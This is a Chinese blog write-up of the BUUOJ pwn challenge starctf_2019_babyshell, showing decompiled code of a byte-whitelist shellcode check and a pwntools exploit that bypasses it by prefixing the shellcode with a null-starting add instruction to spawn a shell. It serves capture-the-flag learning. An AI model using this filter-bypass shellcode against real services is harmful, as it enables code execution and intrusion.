buuoj-pwn-starctf_2019_babyshell

buuoj-pwn-starctf_2019_babyshell

逆向分析

GLIBC

ubuntu16,不涉及内存管理也没啥需要讲的

关键函数

  • 主函数

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      _BYTE *buf; // [rsp+0h] [rbp-10h]
    
      sub_4007F8(a1, a2, a3);
      buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
      puts("give me shellcode, plz:");
      read(0, buf, 0x200uLL);
      if ( !(unsigned int)sub_400786(buf) )
      {
        printf("wrong shellcode!");
        exit(0);
      }
      ((void (*)(void))buf)();
      return 0LL;
    }
    
  • check函数

    __int64 __fastcall sub_400786(_BYTE *buf)
    {
      _BYTE *i; // [rsp+18h] [rbp-10h]
    
      while ( *buf )
      {
        for ( i = &unk_400978; *i && *i != *buf; ++i )
          ;
        if ( !*i )
          return 0LL;
        ++buf;
      }
      return 1LL;
    }
    

    对于unk_400978的内容,我们可以使用shift + e提取,如下

    ZZJ loves shell_code,and here is a gift:\x0F\x05 enjoy it!\x0A\x00
    

总结

就是有限制的shellcode,会将我们的shellcode逐字节与unk_400978的内容进行遍历,若相同则没事发生,若不相同则return 0。

漏洞利用

主要有以下两个思路

  • 按照出题人的思路正向构造shellocde
  • 使用 `x00`开头的shellocde

EXP

这里我选择第二种思路,第一种以后回来填坑

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-21 16:53:55
LastEditTime: 2022-12-21 16:59:32
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug


sc = b'\x00\x4d\x00\x41' + asm(shellcraft.sh())

sl(sc)

io.interactive()

其他

根据http://ref.x86asm.net/coder64.html可以知道\x00开头的shellcode代表的是add。我们参考以\x00开头的shellcode可以知道他使用的是\x00\x0c,但是是打不通的,理由见下图

image-20221221170438629

因此,我们只能尝试将该汇编改成对r13、rbp、rsp进行操作。这里我选择的是r13

$ pwn asm "add    byte ptr [r13], cl" -v '5' -c 'amd64'    
41004d00

便得到了\x00\x4d\x00\x41这一机器码

posted @ 2022-12-21 17:26  7resp4ss  阅读(114)  评论(0编辑  收藏  举报